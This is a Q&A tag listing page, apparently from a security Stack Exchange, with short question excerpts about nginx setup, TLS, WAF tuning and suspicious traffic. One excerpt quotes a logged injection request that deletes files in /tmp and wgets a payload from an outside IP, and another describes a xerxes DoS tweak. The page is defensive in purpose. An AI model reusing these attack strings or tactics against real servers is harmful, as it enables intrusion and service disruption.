Questions tagged [nginx]

nginx [engine x] is an HTTP and reverse proxy server, written by Igor Sysoev

Filter by
Sorted by
Tagged with
0 votes
0 answers
35 views

Trying to generate TLS 1.3 Alert

I am trying to run tests on the TLS 1.3 protocol and I would like to generate alerts (as seen in TLS 1.2) that have a structure of the type ALERT:FATAL UNEXPECTED MESSAGE. So far, I have tried to use ...
Multi Uni's user avatar
0 votes
0 answers
77 views

HTTP request smuggling on NGINX gives error 400?

I'm learning about HTTP request smuggling and for this i'm trying to "break" into a broken site that is running under docker. The architecture of the site is Cache -> NGINX -> site. ...
Maria Ines Parnisari's user avatar
2 votes
0 answers
431 views

Weird hack attempt nginx proxy manager and photoprism drives me nuts

I have a logged http request in nginx logs which drives me nuts because I don't understand how it's finding its way into the logs: [03/Jul/2023:13:45:04 +0000] 400 - GET http localhost "/bin/...
MuchToKnow's user avatar
0 votes
1 answer
134 views

Getting a couple of remote login and calls into Ubuntu server?

I have a ubuntu server (Ubuntu 22.10 x64) on Digital Ocean. And I am using fastapi, uvicorn, gunicorn and nginx as I used it for my backend api calls from my frontend and my frontend IP is dynamic. ...
felix's user avatar
  • 1
0 votes
0 answers
63 views

Prevent read access to other users' files using SELinux

While running a VPS for shared hosting, I put the data for the various users and websites as /var/www/[USER]/public_html/[DOMAIN]/.... I'd like to make sure that one user cannot access data from ...
Taco de Wolff's user avatar
0 votes
0 answers
298 views

Arbitrary File Upload Vulnerability

I have found an arbitrary file upload vulnerability on a flask application that I was playing with that essentially allows me to append to any file (and create new ones) in the file system. The code ...
João Andreotti's user avatar
1 vote
1 answer
421 views

Website randomly downloading html files to visitors [closed]

Another behaviour I found on a website with malware issues. It keeps downloading random files like one named s2bbGoEJ.html to users computers. It actually tried to automatically download one such file ...
JM John's user avatar
  • 11
0 votes
1 answer
277 views

Cloudflare not hide VPS IP (ngnix)

I have a problem with hiding the VPS IP using Cloudflare. My IP can be found on search.censys.io. I don't have any DNS leaks. I'm using nginx to reverse proxy a node.js server. Is it possible to hide ...
MomboteQ's user avatar
1 vote
1 answer
201 views

Do you encrypt traffic between GKE nodes and external Load balancers?

I have a GKE standard deployment in GCP. I have TLS terminating at an IAAS managed load balancer, provided by their Ingress controller. The certificates are GoogleManagedCertificates. I'm fine with ...
mango's user avatar
  • 113
1 vote
2 answers
185 views

Can an NGINX reverse proxy reveal the backend if serving non-static content?

My setup consists of a public-facing VPS running NGINX, and a local machine running certain services. The VPS and the local machine are connected using WireGuard, and NGINX on the VPS is using ...
blissful.sizable603's user avatar
1 vote
2 answers
1k views

How bad it is to open qBittorrent web UI port

I have small home server that runs a qBittorrent in docker container, and I was wondering how bad/risky it is if I'd forward the port for the web UI so I can access it from outside my network. I know ...
Razero's user avatar
  • 111
2 votes
1 answer
195 views

Is better for security to not run Nginx and Backend inside docker but use docker only for database and not external exposed services?

I'm not a Docker specialist, I know how to install, configure and do only basic Docker hardening based on Docker official documentation. I know nothing about AppArmor,SELinux and GRSEC. But i need to ...
Awill Moto's user avatar
0 votes
0 answers
18 views

Suspicious log entries [duplicate]

I have this kind of entries in my nginx log. If I read them correctly, someone is trying to call index.php script that is trying to download some shell script, but I don't have any PHP on this server (...
steakoverflow's user avatar
0 votes
1 answer
213 views

Suspicious looking requests to my NGINX server

For the past 2 weeks, I have observed 4-5 spikes in 5xx responses. After looking into the logs, I found a series of: > 51.159.150.125 - - [16/Sep/2022:06:37:55 +0200] "GET /some-legitimate-...
Jovan Perovic's user avatar
1 vote
0 answers
95 views

When passing through SSL from web server A to web server B (via nginx), does web server A need SSL configured as well, or just web server B?

I'm using nginx here as an example, but this is really more of a conceptual question about SSL termination and TCP that could apply to any web server. Basically, if web server A receives TCP traffic ...
Paul Z's user avatar
  • 111
0 votes
0 answers
128 views

Very slow SOAP POST request processing with ModSecure for certain rules (SQL, IIS and system exploits)

While trying to implement NGinx WAF with ModSecurity 3.0.6 I am facing the issue with very poor XML SOAP POST performance. Rrequests takes ~5 seconds with occasional spikes up to 10 seconds. If I ...
Elvinas's user avatar
0 votes
0 answers
15 views

Can anyone help finding what's shady things are logged on my nginx webserver? [duplicate]

I have a hosted a simple react website(testing) with nginx webserver and cloudflare as ssl provider.My website is down from few days with cloudflare error 525 "SSL handshake failed".I was ...
ashdcodes's user avatar
0 votes
1 answer
156 views

Ruby on Rails: Request to http://\localhost/admin/config.php

I got an exception notification for a request from 92.118.39.180:61001 to: http://\localhost/admin/config.php This is the notification: ------------------------------- Request: ------------------------...
Railsana's user avatar
  • 103
0 votes
1 answer
233 views

How might I rate-limit in nginx against a distributed attacker that has set the number of parallel connections in xerxes to 1?

An attacker tweaks xerxes by setting the number of CONNECTIONS in xerxes to 1 instead of 8, like so: #define CONNECTIONS 1 They then attack with xerxes-executable mydomain 433. Their strategy is to ...
John Smith's user avatar
0 votes
1 answer
361 views

TLS session tickets between proxy and upstreams

I'm planning to implement (nginx) ssl_session_tickets in addition to ssl_session_cache between a proxy and upstream. They're not located in the same DC so TLS must be in place. My questions are : 1) ...
CrazyRabbit's user avatar
0 votes
1 answer
453 views

LAN Only Webserver

I am on a 192.x.x.x network and have a local server that hosts some webapps for the local users of the network. The server is running: Ubuntu VPN Nginx Reverse Proxy with the site.conf including: ...
nerdball8000's user avatar
2 votes
0 answers
400 views

What are NGINX reverseproxy users doing to prevent HTTP Request smuggling?

Since NGINX does not support sending HTTP/2 requests upstream, what are the present NGINX reverseproxy users doing to mitigate HTTP Request Smuggling vulnerability? I understand that the best way to ...
Sai Vishnu's user avatar
1 vote
1 answer
1k views

Should we enable UFW for EC2 (Ubuntu Server) instance with Nginx?

I just finished installing Nginx on my EC2 Ubuntu Server (AWS) and everything looks normal. I tested it on my browser by accessing my EC2 public IP. I can see Nginx's welcome message. It's not a big ...
mr_ternary's user avatar
1 vote
1 answer
250 views

How to stop multiple port access attempts - multiple TIME_WAIT and ESTABLISHED lines on ports 80, 443, etc... from external IPs

I have nginx as reverse proxy and apache in the back, a firewall setup to enable just http and https, and ssh. netstat -tlupna gives me tens of lines with multiple TIME_WAIT or ESTABLISHED lines ...
myke's user avatar
  • 13
0 votes
0 answers
198 views

Possible VNC-over-HTTP exploit involving Nginx?

I have the following setup Nginx + php-fpm, Nginx is running on port 80 and 443. Recently I noticed that connections were made from this servers port 80 to a remote machine on port 580x. [ src port is ...
termcap's user avatar
  • 31
0 votes
1 answer
263 views

Why is my SecAction rule being ignored?

I'm trying to configure a SecAction rule to help me tune ModSecurity 3 following this How to tune your WAF installation to reduce false positives tutorial, but the rule seems to be ignored and the msg ...
Ronaldo's user avatar
  • 51
0 votes
1 answer
2k views

Blocking nginx from nmap version detection [duplicate]

Is there an efficient way to hide nginx from Nmap's Version Detection scan (nmap -sV)? The following is a sample result, we are trying to hide the nginx (reverse proxy) string. PORT STATE SERVICE ...
jonathan's user avatar
0 votes
1 answer
345 views

How to use DH certificate to configure nginx server

My purpose is to leverage DH algorithm to enhance self-signed certificate (A toy in local computer). I refered the answer of Matt Caswell. It works fine to generate the dhcert.pem but fail to ...
Jiawei Cao's user avatar
1 vote
1 answer
255 views

Encryption with Tomcat & Nginx reverse proxy

I'm working with Tomcat and nginx as a reverse proxy and I'm trying to have a better understanding of how the traffic flows and of what the security issues are. Picture this as what I have in mind: ...
SilentSib's user avatar
1 vote
1 answer
1k views

Changing $_SERVER['REMOTE_ADDR'] remotely

On a nginx web-server running the following config is to possible to change $_SERVER['REMOTE_ADDR'] remotely?: user www; pid /run/nginx.pid; error_log /dev/stderr info; events { ...
t40_yx's user avatar
  • 45
1 vote
1 answer
2k views

Spam GET And POST Requests - Are They Dangerous?

I am getting a lot of spam GET and POST requests lately which some of them look like this: "GET /config/getuser?index=0 HTTP/1.1" 404 143 "-" "Mozilla/5.0 (X11; Ubuntu; Linux ...
user avatar
1 vote
1 answer
505 views

Can a machine running a packet sniffer see what nginx is forwarding on localhost to a Flask app?

I want to serve a Flask application from my pc. Other machines in my network only should be able to consume the API. However, I wish to have the communication between the other machines and the API ...
Theo Stefou's user avatar
1 vote
2 answers
152 views

Is it unsafe to publish your nginx configs?

I've recently started to automate a lot of my tasks for my private VPS. A significant part of working with this server is ensuring the nginx webserver, which handles a reverse proxy to multiple ...
Cobalt's user avatar
  • 113
2 votes
3 answers
628 views

Is there any way for a client to view headers set by an NGINX reverse proxy?

I am setting up an NGINX reverse proxy, which sits in front of an API. I would like to use: proxy_set_header X-Secret-Key ${SECRET_VALUE}; to add a token to the request, which is then read by the API. ...
Lachy's user avatar
  • 121
3 votes
0 answers
142 views

Is this nginx config suitable to enforce proper authorization?

Scenario I have a website secret.example.com, which contains information which must not be disclosed to third parties. In order to protect the information, TLS client authentication was chosen. ...
user avatar
1 vote
1 answer
774 views

Why is php-fpm trying to connect somewhere on port 443?

I have nginx and php-fm set up to front a word press site. I used certbot to setup TLS. When I load any page, I see selinux violations and it looks like php-fpm is trying to reach out to some port ...
Freedom_Ben's user avatar
0 votes
0 answers
113 views

DDoS in form of bad bots?

Recently, one of my servers came under attack by DDoSing it. After inspection of access logs, I can only find one common denominator: Referrer. All of request come with (I assume) fake referrer: ...
Jovan Perovic's user avatar
1 vote
1 answer
5k views

"unsupported certificate purpose" for nginx client auth

Please concern the following setup: A client certificate is issued like this: Root CA → Intermediate CA → Client Cert Let's assume everything is fine up to here, the intermediate CA cert is properly ...
ahuemmer's user avatar
  • 143
1 vote
1 answer
4k views

Mongo DB hacked (read_me_to_recover) without the port exposed in the firewall?

I have recently set up parse-server on a DO VPS using 3 docker containers; one for parse-server, one for parse-server dashboard and one for mongodb. Because I am just testing this setup I left the ...
userRR's user avatar
  • 111
0 votes
2 answers
258 views

Unusal GET requests in my nodejs journal - has my nginx/node been hacked? [duplicate]

Saw this in the journalctl for a service I have: jul 29 12:39:05 ubuntu-18 node[796]: GET http://www.123cha.com/ 200 147.463 ms - 8485 jul 29 12:39:10 ubuntu-18 node[796]: GET http://www.rfa.org/...
minisaurus's user avatar
0 votes
1 answer
119 views

Nginx module security

Im considering using this nginx module https://github.com/leev/ngx_http_geoip2_module to get the Information from which Country the IP is. My question is since im compiling the module by myself, how ...
member2's user avatar
4 votes
1 answer
565 views

Why request shell commands from nginx?

I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs: 170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;...
Artimithe55's user avatar
0 votes
1 answer
3k views

HTTP Basic Auth and CSRF

I would like to know if the Basic Authentication header for site A can be sent from site B when trying to access site A for non-GET requests (which would make the site vulnerable to CSRF attacks). I ...
Lucas Basquerotto's user avatar
3 votes
2 answers
894 views

User authentication: In HTTP Server vs. in Web Application

Management decided to switch the authentication-backend from LDAP to Kerberos as LDAP is deemed "obsolete and insecure". Also they want to switch from Apache to nginx for "performance ...
Hermann's user avatar
  • 140
0 votes
0 answers
95 views

Is there a way to limit cookies to certain hosts in HTTP?

Using Nginx, I hope to restrict the permissible hosts for cookies. My initial intention was to employ a Content Security Policy for this purpose, but I don't see an obvious way to do this via a CSP. ...
Alex V's user avatar
  • 190
1 vote
1 answer
407 views

Is `SecAction` order important for an OWASP ModSecurity config file?

Using a web server with Nginx + ModSecurity + OWASP ModSecurity Core Rules... On the OWASP config file crs-setup.conf is the order of the config section SecAction important or can i order them ...
intika's user avatar
  • 111
1 vote
1 answer
1k views

Private ip address revealed by nginx, should I worry?

I run nikto on a server, let's say www.example.com and it says the following: OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / over HTTP/1.0. ...
sebelk's user avatar
  • 489
0 votes
1 answer
704 views

Why do we want a timeout on a server?

This question is quite general as I want to understand the (security) benefits of a 'timeout' in general. For our Nginx proxy-server, we have been using HTTP/S timeouts where we came across the ...
nkmol's user avatar
  • 103
1 vote
2 answers
594 views

Prevent download of an angular website by unauthenticated users

I have an app using angular and when deployed to a server, everyone can ofc download the source codes, obfuscated or not. Yet, I would like to prevent user that are not authenticated to see the ...
Bobby's user avatar
  • 113
1 vote
1 answer
590 views

On TLS-enabled nginx/httpd, is "ssl_verify_client optional_no_ca" disabling TLS's "CertificateVerify" checks?

I'm looking for an helping hand with my https nginx setup. I require my application to be exposed through an nginx frontend, offloading TLS. Easy ! The thing is, I need to have Certificate-based ...
NED's user avatar
  • 11